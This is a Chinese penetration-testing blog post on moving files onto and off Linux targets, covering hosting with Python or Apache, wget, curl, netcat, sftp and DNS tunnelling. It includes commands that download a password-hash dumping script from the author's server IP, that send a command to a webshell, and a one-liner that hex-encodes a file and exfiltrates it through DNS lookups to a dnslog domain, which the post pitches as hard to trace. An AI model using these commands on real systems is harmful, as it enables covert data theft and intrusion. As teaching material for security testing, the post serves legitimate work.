文章目录

  • 介绍
  • 攻击机挂载文件
    • Python脚本挂载
    • 使用阿帕奇服务挂载
  • 传输文件
    • wget
    • curl
    • netcat
    • sftp
  • 其他方法
    • DNS传输数据

介绍

文件上传一般分为上传和下载,下面我所指的下载具体指的是攻击机(本地机器)向目标机(服务器)传输文件。而上传则相反是从目标中收集下载文件!如果让目标机器下载,我们大多数时候都需要先把需要下载的文件挂载出来!

攻击机挂载文件

Python脚本挂载

# python2
python -m SimpleHTTPServer
# python3适用的将当前目标挂载,不填写端口的话默认是到8000端口中
python3 -m http.server 端口
#python3.7之后支持指定文件
python -m http.server 端口 --directory 指定文件
# nohup 可以不依赖当前进程(关闭ssh后此进程不会跟随关闭,&表示在后台运行)
nohup python3 -m http.server &

使用阿帕奇服务挂载

# 下载阿帕奇
yum install httpd.x86_64
# 启动阿帕奇
systemctl status httpd.service
# 添加测试文件(我们上传给目标的文件就放到/var/www/html目录中即可)
echo "测试" > /var/www/html/index.html
# 如果测试文件添加后直接访问IP无法获取内容,就重启一下服务试试
systemctl restart httpd.service
# 默认80端口,如果此端口已经被占用或者被防火墙拦截可以去设置里修改为其他防火墙
# 其中有一些默认值可以修改,一个是默认网站目录/var/www/html,一个是默认打开首页index.html,想要改,找到上述单词替换掉即可!
vim /etc/httpd/conf/httpd.conf
systemctl restart httpd.service

方面下面攻击测试,将攻击机的python和阿帕奇服务都启动起来了!(个人小服务器,各位表哥没事别打,我就不打码了!)
http://43.128.11.131/和http://43.128.11.131:8000/

传输文件

wget

这个命令的主要功能就是用来从指定的URL下载文件。官方定义:非交互式的网络文件下载工具。这是一个单项的,只能下载文件的命令。

# 详细用法查看(官方介绍很详细,这里就不复制粘贴了)
wget -h
# 常规用法
wget 目标地址
wget http://43.128.11.131:8000/Get-PassHashes.ps1
# 可以设置-q来取消任何的信息输出,-O重命名下载的文件
wget -q -O 名字 目标地址
wget -q -O Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1

curl

这个命令用来请求 Web 服务器的命令行工具,但可以使用其-o-O参数来进行文件下载。

# 可以使用-O来
curl -O 目标地址
curl -O http://43.128.11.131:8000/Get-PassHashes.ps1
# -o用来将输出写入文件
curl -o 名字 目标地址
curl -o Windows收集信息脚本.ps1 http://43.128.11.131:8000/Get-PassHashes.ps1
# 除此之外,如果我们在目标成功上传了小马还能通过这种方式来控制小马执行命令
curl -X 访问方式 -d "命令" 目标网络控制台(webshell)地址
# 我没往服务器里传小马,就不实机测试了
curl -X POST -d "CMD=whoami" http://43.128.11.131:8000/

netcat

netcat简称nc,他是一个功能十分强大的网络工具,但在很多Linux中并不会携带,需要我们手动安装!
netcat安装和详细使用介绍: http://note.youdao.com/s/Nxf2xYKz

# 安装nc
yum -y install nc
# 下载文件
## 在攻击机中指定的文件开启指定端口的监听
## 此方式是先将文件挂载然后等待下载
cat 文件名 | nc -l 端口
cat 1.txt | nc -l 1234
## 在目标中接收文件
nc 目标地址 端口 > 文件名
nc 43.128.11.131 1234 > 服务器下载文件.txt
# 上传文件
# 先开启接收等待文件发送,不过这种方法接收完成后不会主动退出,需要我们手动退出!
nc host_ip 1234 < file1
nc -lvvp 1234 > file2



sftp

这个是和我们ssh比较类似的一个服务,是一个交互式文件传输程序,并且支持公私钥的认证(这里的公私钥使用的是和ssh共享的公私钥文件)。

# 如果是使用Windows电脑连接sftp前改变一下编码,否则可能中文乱码!!! Windows默认GBK编码,而Linux默认是UTF-8,这里我将控制台临时变为UTF-8编码解决乱码问题
# Windows10大部分版本都默认会带ssh,sftp之类的工具(第三方的精简版、企业版之类的可能不带)
chcp 65001
# 用法和ssh也十分类似,只需把ssh换成sftp即可
sftp 用户名@目标地址
sftp root@192.168.1.1
# 同样也支持ssh的一些参数
sftp -P 端口 用户名@目标地址
sftp -P 端口 -i 私钥 用户名@目标地址
sftp -P 22 root@192.168.1.1
sftp -P 22 -i ~/.ssh/id_rsa root@192.168.1.1

# sftp中同样支持ls、cd之类的常用基础命令
# 上传文件
put [本地文件的地址] [服务器上文件存储的位置]
# 下载文件
get [服务器上文件存储的位置] [本地要存储的位置]

其他方法

上述传输数据都使用了一些Linux内置的命令或服务,比较容易被查到记录哪来取证, 或被禁用,下面用一些不容易被发现的方法(即使被发现也很难取证)来获取目标主机数据!

DNS传输数据

这是一种比较隐蔽的传输数据方法,但我们需要DNSlog之类的工具接收数据!和使用一些工具来进行解密,在线加密解密工具

# 首先我们打开需要传输的文件,然后使用管道符给xxd进行分段编码
# 分段编码后将其赋予变量,然后让其访问指定域名然后我们可以通过查看dnslog的接受信息进行下一步处理
cat 文件名 | xxd -p -c 16 | while read 变量名; do host $变量名.dnslog; done
# 如
cat 1.txt | xxd -p -c 16 | while read i; do host $i.e578nr.dnslog.cn; done


基于上述命令可以做一些其他变种,比如把编码方式改变xxd -p -c 16用的是Hex编码,我们还要尝试将其换成其他编码(甚至多层编码,来进行传输)

渗透测试常用文件传输方法-Linux篇(如何向Linux服务器中上传文件?) (゚益゚メ) 渗透测试相关推荐

  1. 渗透测试常用文件传输方法-Windows篇(如何向Windows服务器中上传文件?) (゚益゚メ) 渗透测试

    文章目录 文件传输 certutil BitsAdmin Powershell SCP Windows文件共享 文件传输 文件传输在渗透测试中主要用于将攻击载荷上传到目标主机或者获取目标资产使用. 下 ...

  2. java mina文件传输_如何将Apache MINA FTP服务器中上传的文件重定向到数据库?

    您所指的 onDownloadStart 示例似乎已过时 . 首先,使用的 FtpletEnum 类是 ftplet-api 的早期版本的一部分 . 较新版本不再拥有它 . 至少我无法找到它 . 尽管 ...

  3. Linux配置编程环境+云服务器上传文件

    Java环境配置 Ubuntu https://www.cnblogs.com/lfri/p/10437266.html Centos https://blog.csdn.net/qq_2107771 ...

  4. 文件传输助手:两台电脑之间怎么互相传文件

    在生活中,传输文件几乎是每时每秒都在发生的事,今天小编给大家介绍一款文件传输助手--易我电脑迁移软件.为什么突然说起这款软件呢?是因为不少小伙伴都问到小编,两台电脑之间怎么互相传文件?其实,在这种情景 ...

  5. 文件服务器单向传输数据,一种单向文件传输方法及实现该传输方法的服务器

    1.一种单向文件传输方法,其特征在于,所述单向文件传输方法应用于服务器,所述服 务器包括第一文件夹,所述单向文件传输方法包括如下步骤: 接收客户端发送的文件传输请求,所述客户端包括第二文件夹,所述第二 ...

  6. 如何修改WampServer服务器上传文件的大小?

    修改WampServer服务器上传文件的大小 序: 默认情况下服务器对上传文件的大小是有限制的, 如果想修改上传文件的限制可以修改php.ini文件 ➢file_uploads = On(是否允许上传 ...

  7. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试

    文章目录 相关博客 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC Telnet反弹 正向shell 反向shell OpenSSL Curl 相关博客 Linux信息 ...

  8. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试

    文章目录 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC mshta.exe利用 msf利用模块 方法一(msfconsole) 方法二(msfvenom) Cobal ...

  9. 企业中常用的几种文件传输方法介绍

    Linux上的文件传输常用方式介绍与比较 1.scp scp命令能实现在网络上的主机之间的文件拷贝,它是安全拷贝(secure copy)的缩写.scp命令使用ssh来传输数据,并使用于ssh相同的认 ...

最新文章

  1. Fedora 23 将默认使用 Wayland – 多监视器支持
  2. Active Direcrtory:裸机恢复
  3. 经常在比特币中看到的merkle树是什么?
  4. SAP ADBC和JDBC的对比
  5. System.Timers.Timer 嵌套 System.Windows.Forms.Timer的问题
  6. mysql分页 disti_MySql查询性能优化
  7. Coursera Machine Leaning 课程总结
  8. Intouch使用SIDirect OIServer 连接西门子PLC S7-300
  9. 跨域请求——jsonp与cors
  10. JAVA生成(可执行)Jar包的全面详解说明 [打包][SpringBoot][Eclipse][IDEA][Maven][Gradle][分离][可执行]...
  11. JDK版本变化也太快了,意义有多大?
  12. EGE基础:键盘输入篇
  13. 串行外设接口(Serial Peripheral Interface, SPI)
  14. TidTcpClient总结
  15. Android平台第三方插件开发指导(dcloud)
  16. Java小农养成记第二十三天
  17. uniapp制作App实现下载系列功能
  18. python turtle 海龟绘图,绘制小猪佩奇
  19. React Native 连接夜神模拟器
  20. 聚观早报 | 苹果iOS 16.1正式版更新;魅族储备汽车领域相关人才

热门文章

  1. 量化交易之HFT篇 - 高频做市模型源码(.cpp文件)
  2. 关于object对象转换为int类型
  3. Android如何计算View的深度
  4. 一心多用多线程-future-java线程中的异步执行
  5. 诚信迎考 计算机考试主题班会策划,诚信考试主题班会策划书
  6. 新的摩尔多瓦投资公民身份计划开放申请
  7. Vim 分屏功能+无插件Vim编程技巧
  8. HTTP请求返回状态码
  9. 一、瑞萨RZN2L介绍和各处理器概念
  10. html 拖放插件,DAD – jQuery拖拽/拖放插件